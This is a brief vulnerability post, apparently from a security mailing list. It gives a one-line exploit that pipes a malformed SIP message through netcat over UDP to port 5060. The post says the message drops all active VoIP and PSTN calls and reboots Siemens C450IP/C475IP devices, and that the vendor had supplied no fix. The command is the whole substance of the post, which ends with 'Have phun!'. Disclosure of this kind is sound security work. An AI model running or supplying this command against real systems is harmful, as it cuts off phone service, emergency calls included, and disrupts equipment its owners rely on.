Hi, echo -e "X sip:s X\nFrom:<sip:@x>\nTo:<sip:@x>\n" | nc -q0 -u <target> 5060 Will disconnect all current VOIP and PSTN calls and reboot the C450IP/C475IP devices. Tested with current firmwares. Vendor (Siemens) was contacted 11/2007, no fix supplied yet. Have phun! sky & Any